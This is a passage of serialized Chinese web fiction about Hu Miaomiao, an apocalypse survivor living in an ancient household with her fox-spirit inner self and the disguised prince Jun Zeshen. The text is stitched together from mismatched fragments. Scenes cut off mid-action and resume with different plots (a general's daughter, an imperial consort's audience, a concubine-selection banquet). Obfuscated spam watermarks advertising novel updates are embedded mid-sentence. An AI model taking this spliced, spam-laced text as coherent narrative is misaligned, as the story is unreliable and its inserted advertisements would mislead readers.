不过时空法则之力并不能消除他们与本体之间的联系。 王梦蝶抽空在四下无人的时候对她小声说:“你别弄那副死德行,怎么半点都不像我?为娘还能让你嫁给他不成?” 王芋儿顿时惊喜抬头。 王梦瑶眼底闪过一抹狠意,“娘委屈这么多年,可不是为了让你嫁给一个废物小子的,这件事交给我。” 王芋儿被母亲的表情吓了一跳,但却忍不住喜悦。 她相信,只要自己母亲说有办法,就绝对不会让自己失望。 在王芋儿心中王梦瑶无所不能,小时候乡下的时候,周围的小姑娘都骂她是寡妇生的私生女,后来骂她的那几个小女孩家里都出事了。 骂得最狠的家里进了强盗,父母被活生生砍死,那个死丫头被割了舌头。 也就是那个时候王芋儿才知道,母亲并不是好欺负的寡妇,只要母亲想,她就不会受到伤害,哪怕付出任何代价…… 众人上了山,途中遇见还遇见不少在一起的男女。 承启国比较开放,只要不大庭广众之下太过分,不会过多束缚女子。 胡淼淼杵在一边,看老夫人他们排队找大师挑选日子。 梁昌荣似乎被她揍出了阴影,站在香夫人身边,离胡淼淼远远的,生怕再像昨天晚上那样给他一脚。 胡淼淼却没心情理他们,瞅着那长长的队伍,忧郁四十五度角望天,再这样今天晚上就就回不去了。 一想到临走前阿冤眼巴巴的样子胡淼淼就有些头疼。 她没什么愿望,对烧香拜佛也没兴趣,跟老夫人说一声,就去了山下附近转转。 跟现代景区一样,山下摊位少不了,胡淼淼带着夏小荷在下面转悠。 熙熙攘攘的摊位,卖什么的都有,古色古香,是胡淼淼很久不曾遇见的热闹。 记忆中,这么密集的还是那丑陋的丧尸。 有一次出去找物资情报有误,本来废弃、清扫过的工厂密密麻麻聚集了数之不尽的丧尸。 那次意外,胡淼淼都觉得要交代在工厂里了。 可后来不知发生了什么,丧尸并未攻击他们…… “姑娘,想买点什么?” 胡淼淼回神,发现已经站在一个摊位很久了。 抠脚的和尚放下扇子,端得一副“慈眉善目”眼睛却快冒光了,好像逮住了冤大头,打算往死里薅羊毛。 胡淼淼唇角抽搐了一下,夭吾贰貳七五儿爸一每日更新最新完结文笑了笑打算转身离开,余光不经意瞥见某物,突然停下。 与此同时另一边,一个男子妖冶的男子在胡淼淼背对着的摊位,指了指远处拴着的马,拿着一个青面獠牙的面具,戴在脸上。 “赤澄,你刚才是不是看错了?殿下怎么会来这里?” 赤澄,赤卫队排号老六,干活一个顶十个,身体力行,就是脑子不太好使,有时候轴到让人想抽他。 这不,今儿在城门口不知道抽了什么风,骑着马就一路狂奔,说什么看见了七殿下。 殿下失踪多日,但凡有一点可能,赤卫队都不会放过。 所以赤牙想也没想就跟着一路狂奔。等到了山脚下,看见高处“成安庙”他才反应过来。 寺庙? 笑死,谁去寺庙他们家主子也不会去寺庙,这比他们家主子找姑娘还离谱儿! 下一瞬,赤澄嚷嚷:“你看那个,像不像主子?” 赤牙顺着他手指的方向看过去。 来寺庙的人烧香拜佛虽然穿的朴素,但是全身上下乌漆嘛黑的还真是少见。 男子身劲长如竹如松,简单用黑色绳子系出一个高马尾干净利落。 虽然和殿下平时的衣着打扮不一样,但那不像好人的气场,第一时间引起了赤牙他们的注意力。 他瞳孔骤然一缩,脚步控制不住想上前查看。男子却恰好这个时候向这边扫来一眼。 对方戴着面具,和他人一样乌漆嘛黑,只能隐约看见如同冷血动物似的眼睛。 赤澄心口控制不住地激动。 是主子! 是主子!是他! 这世界上绝对不会有第二个人看起来这么不像人了。 然而下一秒。 对方仿佛不认识他们一样,反而像是对陌生人发出警告再敢跟着他后果自负。 君泽琛早就注意到有两个奇奇怪怪的人贼头贼脑跟着自己。 他着急赶路根本懒得理对方。 但现在不一样,他看见之之了,可不能出现乱子,再跟着他,他不介意世界上少两个喘气的东西。 眼见之之要走,君泽琛赶紧狗狗祟祟跟上。 赤牙&赤澄:“???” 有一种说不出的古怪感…… 他们两个人也鬼鬼祟祟跟上,然后发现对方竟然暗搓搓跟着一个蓝衣姑娘,行踪猥琐且龌龊。 赤牙拽住了赤澄:“这人看起来像主子,但绝对不是,主子绝对不会做贼似的跟着人家姑娘身后。” 赤澄脑子卡顿几秒,迟疑道,“换做以前,我也没想到咱们会做贼似的跟着主子。” 赤牙:“……”他一阵牙酸。 要不是这厮能干活,早弄死他了。 另一边,胡淼淼回到寺庙的时候,老夫人排上号了,时间安排在下月八号。 期间老夫人跟胡淼淼说等文管家回来,查清楚阿冤的身世,也把婚事定下来。 胡淼淼笑着说不急。胡淼淼虽然适应了古代的生活,但是除了对阿冤,其他事情依旧保持警觉性,本能地注意到周围的风吹草动。 旁人可能会以为是小动物经过或者砖瓦自己脱落,胡淼淼却知道小动物的重量不会这么明显 。 人群中,面具男子灼灼的目光暗淡下来…… “他们可比表少爷王姑娘认识的早,表少爷都去选日子成亲了……” “小姐根本没打算跟野男人在一起,不过是图他美貌……” “等过些日子,查清楚他的身份 ,你们也定下来吧。” “不急。” 身份? 不急! 面具下的唇角讽刺地勾了勾。 那天晚上还说和他的婚事,告诉他别多想,今日就不急了? 君泽琛胸腔积满怒气,低声从喉咙中挤出两个字: “做梦!” 胡淼淼突然感觉背脊一凉,找个角落打了个喷嚏,她瞅一眼天色,已经下午,回去需要两个时辰,胡府诸多女眷很不便,今天怕是回不去了。 想到离开时某人恋恋不舍委屈巴巴的样子,胡淼淼头疼,回去大概又要哄,她怎么捡了这么个麻烦精。 果然不出胡淼淼所料,老夫人让众人收拾收拾马车里的东西,今夜在寺里住下。 平时有很多偏远的客人前来烧香拜佛,成安庙附近的山下早已准备妥当,只要交了银子,都可以提供食宿。 等胡家人进去了,君泽琛被拦着外面,两个小和尚笑眯眯双手合十,“阿弥陀佛,施主一晚五个铜板,晚上还会送斋饭……” 小和尚一通叭叭,发现戴面具的男主整阴森森盯着自己,不由得吞了吞口水,“施…施主,不若三个铜板?” 男人默不作声转身就走,别说三个铜板,着急从胡家出来,他一个铜板都没带,就带了一匹马,还为了买面具换了,等人走远,和尚们摸了一把汗,“佛门重地,哪来的煞神。” 煞神身后跟了俩小尾巴。 赤澄和赤牙二人眼睁睁看着疑似主子的男人在门口站了一会,没进去,而是绕了一圈去寺庙墙后,翻墙而入。 他们面面相觑。 赤牙,“这么穷,绝对不是主子。” 赤澄正经脸,“主子是防止打草惊蛇。” 赤牙:“惊谁?人家姑娘?” 赤澄:“……” 赤牙冷哼一声,“行了你个傻子,也只有你以为主子会干这种蠢事,先不说主子会不会喜欢上一个姑娘,就说喜欢上了又怎样,早让咱们拆庙抢人了,你自己浪费时间吧我会刑部找老大,不声不响走一天,看老大回去怎么收拾你。” 赤牙有些生气,最后看了一眼面具男子爬墙的地方,不再理会赤澄直接走人。 赤澄被骂得有些委屈,就是主子啊。 赤澄脑子一根筋,认定一件事情十头牛都拉不回来,就算赤牙走了,他也没跟着回去,而是咬咬牙,跟着翻墙而入, 一定是主子! 寺庙里的膳食寡淡,换做以前胡淼淼绝对不会挑三拣四,而现在她吃着碗里的,想着家里的,怀念阿冤做的饭、一口口把碗里清汤寡水的豆腐吃完,幽幽叹口气。 这里不方便沐浴,还要让人去提水,所以胡淼淼只是让夏小荷端来一盆水简单擦拭一下。 夜深人静后,只有寺院的蝉鸣,最近睡觉身边都有催眠大冤种,突然离开还有些不习惯,久违的失眠再次出现,胡淼淼听着外面的虫声,有些烦躁。 不知过了多久,大概是半个时辰,终于有少许睡意,眼皮越来越沉重…… “咔嚓——” 房顶微不足道的瓦片声,胡淼淼瞬间睁开了眼睛。 有人! 小狐狸还在输出:“灰猫说了,不要相信任何人和任何妖。” 胡淼淼:“……”行,回去她就把那灰猫皮扒了铺地板上让他去睡。 第 83 章 第 83 章 胡淼淼万万没有想到有一天她会自己哄自己,而且还那么难哄。 以前和君泽琛吵架的时候,她也会偷偷哄自己,让狐别和男人一般见识,他一个糙汉子哪懂狐狸的心。 看在他人好看、会做饭、会投喂、会给狐狸顺毛的份上,就原谅他吧。 可这次不一样,没有人比胡淼淼更知道狐有多犟种。 简单来说,就是傻。 意识海的世界中,大狐狸蹲坐在小狐狸面前,用爪子对她指指点点,“你傻不傻,你宁愿相信一只猫是你,也不愿意相信一只狐是你。” 王梦瑶和胡海香合作,想要胡淼淼身败名裂的同时,在胡家失去人心,顺便解决胡淼淼身边的那个男人。 没有人会喜欢儿媳妇身边养一个身材,模样,气场都比自己儿子强不知多少倍的男人。 如果不是对方来历不明没有身份背景,单单他往那一站,胡海香根本不敢动他。 眼下,她们把老夫人请来,是为了等胡淼淼回来处理掉那男人,再把婚事定下来。 时间刚刚好,他们回来了,林海香和王梦瑶对视一眼,忍着笑意去看向门口,然而,胡淼淼一如初见,衣衫整洁,一步一步走进来,步伐不见丝毫的狼狈,反而有一种压迫感,咄咄的架势。 蓝色裙摆在空气中摇曳,她步步肃穆,仿佛踩在众人心尖上,芊芊倩影,不见分毫弱势,冷下脸的她,那张看起来平易近人无辜的美眸,都变成了一汪死水,黑白分明的瞳仁,麻木不仁,对上这么一双眼睛,都会有一种自己是死人的错觉。 来到新世界,胡淼淼入乡随俗,收敛所有锋芒,假装自己是正常人,可是唯有她自己知道,回不去了。 末世里,不仅丧尸会吃人,人也会吃人。 夹缝中生存,早已失去了感情,就是连队友,也只是为了能活下去的互助关系,胡淼淼会贪恋享受这个世界的平静,也会学正常人那样生活,比如面对君泽琛的时候。 原主的记忆就已经表明,很多人想成为胡家嫡小姐的夫婿,她讨厌麻烦,想随便拉一个顺眼的,好控制的填补这个位置,同时带入自己编织的爱情戏份,表现得十分爱护。 可实际上,她只是偶尔欣赏一下对方的颜值,如同美味的菜肴,总是让人不自觉多吃几口。 然而现在,有人要动她的碟中菜。 这是绝对不允许的。 尤其是那白白嫩嫩的菜犹如被霜打了似的,蔫哒哒地挥舞着小叶子,怎么看都有一种这些人浪费她食物的嫌疑。 故而,胡淼淼不愿再跟他们演下去,上前牵住君泽琛的手,护在自己身后。 君泽琛身材劲长,比胡淼淼不知高了多少,他内心动摇,惊觉这一幕有些诡异。 犹如一只捕猎的野猫,抓住了耗子,舔了舔小老鼠,叼在口中,警惕观察四周,甩着尾巴警告身边的活物,谁都不许夺走她口中的食物。 而他,就是那只耗子。 他努力忽略掉脑子里古怪的想法,在一片诡异沉重的气氛下,指尖攥着前人的衣袖,宛若迷乱终生的狐狸精,魅惑人心。 “之之,他们说我是上不得台面的野男人,不能给你带来幸福生活,若不是你,我连进胡家的门都不配,跟你在一起只会拖累你,而你们是才是真正的一家人,你现在维护我,他们会生气的,别为了我,闹不愉快。” 从心惊胆战中缓过神的众人:“???” 老夫人下意识看了一眼手里的茶盏,滚烫的热水里舒展的绿衣,从细小的嫩芽,泡得茶香四溢。 是她年级大了,记不住事还是怎么的,好像没说太多苛刻的话,刚说了一句开头,淼丫头就回来了。 “休要胡言,淼淼,你看看你带回来的这个男人,鬼话连篇,咱们胡家怎么会刻薄至此。” 香夫人第一个出声,只是她声音一向比较尖锐,在胡淼淼这有前科,何止是刻薄二字能形容的? 更何况,攥着她广袖的阿冤,手都吓抖了,都说古代宅院如狼似虎,如今一看,果不其然,都赶上三堂会审了。 她回握住那只苍白有力,比自己大了两圈的手,没觉得有何不妥,黑白的眸子直勾勾看向香夫人:“都要赶出家门了,不刻薄?呵~” 最后一声,何止讽刺。 “祖母,未来胡家是我的,他是您的孙女婿,一百两银子,就打发了?” 老太太一生要强,被当众质疑,嘭地一声把茶盏摔到地上,滚烫的水滴迸溅,在水中得意的茶叶蔫哒哒的,胡淼淼下意识蹙眉,好像不是很赞同她的举动,唯有身后的君泽琛知道,这贪吃的小骗子在惋惜地上的茶糟蹋了。 也不知道上辈子是什么,这么贪吃,能进嘴的东西,半点都不想放过。 想到淼苑的惊喜,君泽琛眼底闪过一抹笑意。 “姑母,您消消气,别气坏了身子,大小姐你也是,跟你祖母说话这么冲做什么,她还不是为了你好?罢了这事儿以后再说,今儿玩得怎么样?” 不等老太太继续发火,王梦瑶赶紧拉住人,她可没有忘记,今天的主要目的一个野男人而已,先缓一缓,故而笑盈盈的试探。 然而她的笑容没维持几秒,就僵硬在脸上,大惊失色:“芋儿?” 她这一嗓子瞬间拉去了所有人的注意力,此时,众人才注意到,人群的角落里,衣衫不整,发髻凌乱的女人。 王芋儿在安府换了一件衣服,但是根本没有心思打理妆容,灰溜溜跟着胡淼淼回来,她满心怨气,落水前她离开人群一段时间,独自找上梁昌荣,谋划推胡淼淼下去,梁昌荣英雄救美。 谁知道,好不容易等到支开所有人,想推她下水的时候,胡淼淼那贱人跟背后长了一双眼睛似的,不仅转身,还踹了她一脚,以至于竟然让她当着安府那么多人的面出丑! 一想到落入水中,对死亡的恐惧,以及上岸湿身,半死不活的被人抬走,王芋儿就气得浑身发麻,恨不得当场上去撕了胡淼淼。 反正母亲做了两手准备,她不好过,胡淼淼也别想好过,她的姘头更别想在胡家待着,可是她没想到,这个时候竟然莫名其妙,一把火烧到她身上,还是她亲娘引起了众人的注意力。 王梦瑶也是这个时候才意识到自己干了一件蠢事儿,于是她给王芋儿一个眼神,让她快点离开,大庭广众之下,仪容不整,成何体统。 胡海香突然开口:“昌荣呢?没跟你们一起回来吗?” 王芋儿脸色刷白。 “表妹,我不是故意的,你原谅我,我想救的是你!” 一道急切的脚步声,身后跟着小六子的呼喊:“少爷,您慢着点儿,先跟小的回府上吧?” 梁昌荣救错人后,整个人都懵了,好似被人从后面给了一闷棍,脑子嗡嗡的。 被抬到半路,他才一激灵。 不对! 平时,他怎么作,都是去的花楼,调戏调戏街上的美人,可那都不曾闹到胡家人面前。 而今他竟然当着表妹面前,和其他女人有肌肤之亲,胡府还有一个小白脸虎视眈眈,这门婚事更悬了!! 梁昌荣风风火火,同样衣衫不整的跑进胡府,未曾想胡府竟然那么多人,他愣了一下,下意识去看他母亲。 香夫人同样一脸错愕,搞不清楚什么状况,王芋儿脸色苍白如纸,这场闹剧,俨然从君泽琛转移到他们二人身上。 老夫人顾不得君泽琛,眼神凌厉:“你们怎么回事?” 小六在后面追赶上来:“少爷,咱们还是先回去吧。” 胡府所有人都聚集在这里,加上老夫人,梁昌荣也有点发憷,落水后身躯有些虚,抹了一把脸,他看向胡淼淼,一步一步靠近:“表妹,你听我解释,我只是为了救人,我以为你了落水了,没像到会变成这样,我和她没什么的。” 胡淼淼恢复情绪,眼皮轻抬:“听你这么说,如若不是我,你就不救了?” 她一副“想不到你是这样”的表情。 胡淼淼本身眼睛就大,抬眼的时候,睫毛微微上翘,眼尾处却微微下拉,让人觉得,她并没有在生气,而是真的在听解释。 梁昌荣有些烦躁的心里被这一双眼睛磨平,觉得自己还有一丝希望,上前就要去抓她的手,未曾想,一道暗红色修长身影,明晃晃地阻挡在二人之间…… 碍眼至极! 梁昌荣恨得牙痒痒,后知后觉,发现这小白脸比自己高,站在胡淼淼面前,把她挡的严实,在看向他的时候,那双眼睛微微眯起,像是从狐狸变成了另一种阴狠的野兽,总有一种说不出的压迫感。 他意识到这个男人不对劲。 “你……” 她坐直了腰板,小狐狸同款蓝眼睛打起精神盯着她,“什么样的狗?” “嗯,可能是狗吧,我没见过狗,反正她被追杀,身受重伤,躺在草里想我求救,然后我就用草把她盖上,帮她躲避追杀,她可崇拜我啦,还要跟着我混……” 胡淼淼陷入沉思,难不成是君泽琛? 他又变成狗了? “下次再看见那只狗,我想见见他。” 第 84 章 第 84 章 胡淼淼嘴上说要见见那一只狗,实际上,当她说完这句话没多久就再次陷入沉睡。 小狐狸围着她团团转,给她舔毛。 虽然她现在是灵魂状态……浑身虚无缥缈,就像是一只飘在半空中的阿飘,但是小狐狸舔得很投入,她将大狐狸每一缕烟都舔了一遍,口感和空气差不多,触感和舔自己差不多。 这是她每天都要完成的任务,狐有舔毛的条件,就是要干干净净的。 结束舔毛任务,狐狸退出意识海,一睁开眼睛发现有几只狐狸向她这边走来,她熟练地扎进草丛。 昨夜下了一晚上的雨,空气夹杂着草木渗湿的香气,微风拂过面门,让人心神一片清凉,仿佛前世不过是一场噩梦。 只有经历过末世的人,才知道活着多么珍贵,就算是古代,也让胡淼淼格外珍惜。 有人的地方就有流言蜚语,一个晚上的发酵,表少爷受伤,大小姐失踪,带回来一个男人,逐渐演变成另一种故事。 和胡淼淼所认识的古代,女子不得出门,见外人要以面纱或屏风遮挡,三从四德,女人被外人看见脚都要浸猪笼种种事件相比,承启国相对开放很多。 但这到底还是男尊女卑的制度,从来没有谁把找男人的事摆在明面上。 此时山庄的下人正在议论纷纷: “老爷走的时候,小姐还未及笄如今去老家守孝,身边没有长辈教导,反而越发没规矩,表少爷一家好心在山下等候,她怎么能打伤少爷?” “还带回来一个来历不明的野男人藏在府上,你是没看见,那男人长得呦,男人中的祸水,一个男人长成这样,小姐把持不住似乎也……” “呸,你说什么呢,再好看有什么用,难不成靠小姐养着?” “嘘~”讨论的人余光瞥见逐渐靠近的纤细身影,赶紧低下头,假装扫地。 然而,蓝色裙摆停在眼帘,一种难以忽视的视线,让众人心里一突突。 糟,不是说大小姐没有主见,待人宽厚,容易拿捏吗? 怎么有一种…即将被拧掉脑袋的即视感? 胡淼淼眼里只有两种事物,一种是人类,一种是丧尸。 对于非丧尸生物,只要没蹦跶到她面前耽误她享受来之不易的生活,她还是很包容的。 她收回视线,扯了一下碍事的裙摆,走到他们面前:“厨……膳房在那边?” “膳房?”众人慢半拍地反应过来,赶紧指了一个方向。 胡淼淼颔首,在他们心惊胆战的视线下走远。 做戏要做全套,“未婚夫”受伤,未婚妻总得表示表示嘛。 膳房中里两个人正在对峙。 “夏小荷,你们家小姐打伤了表少爷和夫人,现在连你这个丫头都跟小姐学得不懂规矩,一个外人,我们允许进庄子就已经仁至义尽了,怎么的,还想抢药炉?” “你干什么?” “啪——” 胡淼淼进来,看见的就是这一幕。 滚烫的药汁混合着瓷器碎片溅落一地,空气中混合着似有似无的药香,水分已经融于地面,只剩下残渣。 夏小荷跟一名灰衣小厮拉扯,二人脸上全是愤恨和怒气,吵得脸红脖子粗。 “怎么回事儿?” 胡淼淼视线落在地上,漂亮的眉头蹙起。 夏小荷看见她到来,瞬间找到了主心骨,把事情起因一股脑说出来。 原来,庄子只是提供胡家人的落脚之地,衣食住行倒可以满足,膳房的药炉很少使用所以只有一个。 夏小荷送走大夫后,按照大夫吩咐煎药。 小六是原主表哥梁昌荣的下人,正巧要给梁昌荣熬醒酒药,因此他们两个发生了争执,香夫人和自家少爷都受了伤,全拜胡淼淼所赐,小六不敢找主子麻烦,故意找上夏小荷,然而没想到用力过猛把药炉弄碎,这下谁都别想熬药。 无论是香夫人还是少爷,脾气都不好,若是喝不上药他没有好果子吃,小六心尖一突,随即看向夏小荷:“我不是故意的,都怪你,抢什么抢?我们家少爷不仅醉酒还破了脑袋,现在正是用药的时候,若是身体出了什么事,夫人少不了得去叨扰老夫人。” 他所说的老夫人是胡淼淼的祖母。 老太太要强一辈子,年轻时犯下错加裙幺污儿二漆雾二吧椅每日更新最新完结文误到老依旧不知悔改我行我素,她老人家一直不喜欢原主,总觉得因为原主的母亲,让她和儿子离了心。 所以,就算是帮庶女,也不待见嫡亲孙女,在不威胁胡家的情况老夫人根本不会理胡淼淼。 若是香夫人找老夫人告状,等待胡淼淼的,肯定又是一番耳提面命。 原主逆来顺受胆子小,从小到大受过不少委屈,对老夫人自然是畏惧的。 然而,那和现在的胡淼淼有什么关系? 她叹气:“看来还活着。”好色之徒,原主那一下怎么就没砸死他,但凡那人死了,剧情也不会发展成那样。 没头没尾的一句话,让小六下意识问:“什么?” 胡淼淼不欲与他交谈过多,睫毛轻垂,微微抬下巴冲着地上点了点:“胡家我做主,我想干什么还轮不到你们夫人少爷指手画脚,浪费的药你打算怎么赔?” 小六没成想把老夫人搬出来,小姐不但不为所动,甚至还把话题扯到浪费的药上面,像是听到天大笑话:“大小姐,既然您是胡家主子,胡家家大业大不过一剂药罢了,怎么还让小的赔?” 他脸上挂着不屑一顾地笑,好似在说,堂堂胡家大小姐,连一剂药都要和一介奴才计较。 换作是其他主子小六不敢放肆,可胡淼淼虽能继承胡家,但将来嫁给他们少爷,还不是他们少爷说的算? 小六是梁府管家的儿子,从小跟在梁昌荣屁股后混,自然而然养成了狐假虎威的德行。 跟他家少爷一样自信,相信胡淼淼会嫁给梁昌荣,然后胡家的财产都是梁昌荣的,到时候他再继承管家之职,跟现在的文管家一样,手握府上实权,没人敢得罪自己。 至于眼前这个女人,到时候还不是任由少爷拿捏,逆来顺受,不用放在眼里。 短短几秒钟,小六已经把未来幻想一遍,连胡淼淼走到他面前都没有发现,直到腿部一痛,眼前天旋地转,他整个人下盘不稳被翻倒在地,正好压在一地瓷片上,鲜血直流疼得他惨叫一声。 胡淼淼从容地揪住裙摆,弯腰一脚把挣扎起身的小六踩回去,笑意不达眼底:“那么爱当你家表少爷的狗,那一会给本小姐带个话,不过在那之前,这药,你是赔,还是吃?” 谁家钱都不是大风刮来的,胡府家大业大又如何? 一粒米,一根草,都是她的,容不得他人浪费,没人比末世归来的胡淼淼更清楚,人在绝望之时草根都是救命的,更何况是能治病的古代药草? 末世之初,胡淼淼前世父母去世后,失去庇佑活得也很艰险,父母留给她的东西,全被道貌盎然的亲戚抢走,她被抛弃在破旧的基地里,整天躲躲藏藏更抢不到吃的,被人嫌弃,饿了就挖树根吃,渴了就喝水,造得灰头土脸。 直到后来,植物变异水资源污染,那些人抛掉人性烧杀掠夺,发泄/欲望把注意打到她身上,危难之时,她觉醒力量异能把那些人杀了,本想割成碎肉,却遇见执行任务的杨队,从此开启长达三年的求生路…… 胡淼淼这辈子,有两大逆鳞,一是浪费粮食,二是淫/辱女性。 一些不好的回忆逐渐清晰,胡淼淼笑意渐浓。 这个世界没有丧尸也觉醒不了异能,但是她有上辈子的经验,知道怎么把力量发挥到极致。 脚一用力,又获得一声惨叫。 小六疼得冷汗涔涔:“大小姐,小的错了,小的知错了,我赔,我赔,大小姐饶命啊~” “鬼叫什么,我又不要你的命,小荷,那副药多少钱,你到时候整理一下,送到表少爷那里,让他管好自己的狗,别再犯到我手里。” 夏小荷早在胡淼淼出手的时候就惊呆了,闻言连连点头:“好的小姐。” 啊啊啊,小姐是怎么一脚把小六踹倒的,动作太快她都没看清,还有小姐笑起来收拾人的样子好厉害。 夏小荷简直不敢相信,自家小姐竟然有如此威武的一面。 只是…… “小姐,这样得罪香夫人表少爷他们,真的没关系吗?” 胡淼淼瞥她一眼:“有什么关系?” 她眉眼漂亮,外表看起来和善清纯,从始至终都带着笑意,可被那黑白分明的瞳仁一看,无端升起阵阵寒意。 夏小荷心里一毛:“没……没关系,小的啊呸,奴婢这就去办。” 她走后,小六长舒一口气,想要从胡淼淼脚下挪开,结果发现上方的力道犹如小山,并不容易挣脱,他讨好:“小姐,小的是不是可以告退了?” 胡淼淼低头,额前的青丝随着动作而垂落,她抬手挽到耳后,眼底一片凉薄:“想走?你也说了本小姐不差你那点钱,你不知悔改的态度让我心情很不好,地上的东西不能浪费,懂吗?” 隔一天早上,狐在溪边抿着耳朵喝水,突然听见什么东西扑腾一声,她吓了一跳,定睛一看有什么东西落水。 虽然狐狸在灰猫的告诫下很警惕,但素未相识,没有害过狐的妖怪,她没办法眼睁睁看着他去死。 她觉得世界可能有因果吧,如果她救妖一命,是否在不久的将来,也有妖救她。 小狐狸攒足了体力,一头扎进水里,四肢爪子在水里开花游动,细软的狐毛飘荡在水里,她衔着黑漆漆的不明物,使出九牛二虎之力,将他带上岸。 第 85 章 第 85 章 噗通—— 浑身湿漉漉的小狐狸拖着死狗一样的东西费尽千辛万苦爬上岸。 幸亏不明物的体型只比她大一点点,不然她还真没办法弄上来。 她甩了甩身上的水,顾不得那么多,赶紧凑上去查看落水之物。 乌漆嘛黑的很眼熟。 和狐狸的长相不一样,比狐狸黑,嘴筒子比狐狸长,体型瞅着也比狐狸健硕。 君泽琛又陪胡淼淼在将军府一天,第二天一早才恢复早朝。 好巧不巧的,君泽琛前脚刚上早朝,后脚宫中就传了旨意,华贵妃娘娘想要见胡淼淼。 胡将军不在,将军府就只剩下周氏一个主心骨,周氏慌了。 “华贵妃怎么会突然召见呢,是不是因为你和三王爷的事?” 周氏在屋内来回走动,急得团团转,这可如何是好? 华贵妃,是当今皇上最宠爱的妃子,也是三王爷君子华的母妃。 她这么一找,准没好事,说不定就要为难于胡淼淼。 胡淼淼今日穿一身淡蓝色袄子,长裙随着她站起来而微微摆动,她走到母亲身边,拉过她的手,轻声道:“您放心,就算她想要找茬儿,也不会不顾及琛王的面子。” 曾经胡淼淼和三王爷往来,华贵妃也不是没找过她,态度虽算不上刁钻,但也没少敲打自己。 如今身份不同了,她是琛王妃,圣旨黄纸黑字写的,想来华贵妃不会和圣旨过不去…… 得到了女儿的安慰,周氏像是想到什么,连连点头,“对对对,现在你是琛王妃,哦,对了,彩衣,进宫只能带一个丫鬟,你就跟着去,但中途离开去找琛王明白吗?” 彩衣严阵以待,看他们一个个都很严肃的样子,胡淼淼心底划过一抹暖流,还是有很多人关心自己的。 她现在,很幸福! 皇宫接待的人正在外面候着,胡淼淼没再耽搁时间,而是穿的严严实实,确保把寒气降到最低,才出门。 也不知是有意无意,皇宫的马车竟然很简陋,连个暖炉都没有,来的那位小公公,更是阴阳怪气道:“胡姑娘可让人好等啊!” 他下意识没叫琛王妃。 胡淼淼没说话,淡淡扫他一眼,手捧着手炉,在彩衣的搀扶下上了马车。 被无视的太监:“……”他怼人,但对方不接茬! 就怪让人尴尬的。 马车虽然颠簸,但胡淼淼还能以接受,坐了半个时辰,七拐八拐,才到了皇宫。 “咳咳~” 洁白的雪包裹着金碧辉煌的建筑,胡淼淼在宫门口就下了马车,和以往一样,步行入宫。 彩衣听到她咳嗽,有些紧张:“小姐,您没事吧?” “没事儿。”胡淼淼只是喉咙有些痒痒罢了,她紧了紧衣裘,继续前进。 彩衣有些不放心她,但想到对方是贵妃,就算自己跟过去又有什么用? 还是快点去找琛王吧。 途中,彩衣找了个借口溜了,太监也没说什么,毕竟一个小丫鬟,他们并没放在眼里,只要把胡淼淼带到就算完成任务了。 走了一炷香的时间,终于到了太华殿。 “来了?” 华贵妃是一个长相及其艳丽的女人,她坐在美人榻上,手中端着茶盏,举手投足之间韵味十足,那双丹凤眼,不经意瞥向胡淼淼,语气漫不经心,听不出喜怒。 胡淼淼神色淡淡,按照规矩缓慢行礼,原以为对方又要端架子,晾着自己,谁知道华贵妃直接让人赐座。 她微微惊讶一瞬。 要知道曾经,每次来拜见华贵妃,她都会让她行半盏茶的礼,或者阴阳怪气讽刺一番,才勉为其难让她入座。 当时,为了君子华,有什么委屈都忍了,现在想想,其实没必要。 一个爱自己的男人,就算不会站在她这边反抗母亲,却也会在中间调节,而不是视而不见。 “那日的事,本妃听说了。” 华贵妃放下茶盏,胡淼淼抬头,心中竖起一抹警惕。 来了,刁难来了。 谁知,华贵妃却道:“这件事,确实是子华不对,呵,眼光越来越低了,竟看上了一个商贾之女,不过你现在也阴差阳错嫁给琛王了,不会怪罪子华吧?” 华贵妃回想起当时君子华把那女人带到自己身前,可谓是憋了一肚子气,将军之女和商贾之女,孰轻孰重? 就算喜欢,两个一块娶了不就完事了? 就算她对将军之女也不满意,但不代表她不想要胡家的势力,怎么就那么没分寸? “娘娘哪里话。”胡淼淼垂下眸子,遮住眼中的冷意。 不计较? 那是不可能的。 婚礼当日的耻辱历历在目,这辈子,说什么也要和他君子华算了这笔账! 她不屑去冒充任何人,和她长得一模一样的女人,她也会调查清楚。 华贵妃闻言,有些满意:“如此就好,你和子华相识一场,总不会看着他和琛王闹僵,今后子华要是有什么好处,也少不得你。” 瞧瞧这话说的,胡淼淼差点被气笑了。 原来,是因为琛王,就说呢,为什么对她态度有所不同,先打一巴掌,再给个蜜枣。 华贵妃知道自己身体弱,经不起折腾,就安排个简陋的车子,不让她好过,一般人对那种态度,心中一定会害怕。 在担心被刁难的时候,华贵妃再转变态度…… 这么一番折腾,感情是怕因为她,君子华得罪了琛王啊。 想来也是,琛王在云邬国的势力,很可能会影响到太子的决定权,只要琛王捧着谁,皇位还用说吗? 相反,要是哪位皇子王爷得罪了琛王,也不会有好果子吃。 注定与皇位无缘了。 从华贵妃宫殿出来,胡淼淼思绪万千,不自觉想了很多。 “你怎么在这?”华贵妃看他,幽幽道:“见过胡淼淼了?” 她用的是肯定句。不愧是琛王,这么迫不及待的吗? 难道是琛王妃没有满足他,让他想吃野食了? 众人心中连环三问,就连胡淼淼也有些疑惑,琛王真的看上谁家千金了? 看来她没阻止是对啊。 最开心的莫过于皇上,他哈哈大笑:“好好好,皇弟看上了哪家姑娘,朕这就赐婚。” 说着,他目光不经意扫过胡淼淼,这病弱样,琛王府有其他姑娘,怕是活不过三日。 身为后宫佳丽三千的皇上,自然了解女人争宠的戏码,只要胡淼淼死在王府后院中,依照胡将军的脾气,绝对会和君泽琛决裂。 胡将军早就被他调离,参加不了宫宴,因此等胡将军回来反对琛王纳妃,也迟了。 胡淼淼又不是个刚烈性子,根本阻止不了…… 皇上算盘打的啪啪作响,君泽琛在众人的视线下一手拄着桌子,微微扬起下巴:“选妃宴,当然要多选几个。” 胡淼淼:“?” 她侧眸,美眸中闪过一抹疑惑,来了一个选妃宴,怎么就花心起来了? 同样,不只胡淼淼这么想,其他人亦然,皇上自然觉得越多越好,畅快的答应了,就见琛王大人大一挥,指了几个。 胡淼淼顺着他手指的方向看去,打算看看能让琛王动心的人是何人,就见…… “琛王口味惊奇啊……” 有一个千金没被选中有些失落,却惊讶的发现,琛王指定的那几个女人,长得是众千金里最丑的? 莫不是琛王喜欢丑的? 琛王妃不丑了…… 还不等他们想完,就见琛王指尖一转,指向君子华:“子华啊,你看这几个怎么样?皇叔只能帮你到这了。” “???” “是!” “又吵架了?”华贵妃涂蔻丹的手端起茶盏,慢悠悠在用盖子轻刮茶叶,飘香四溢…… “是她先欺负水芸……” 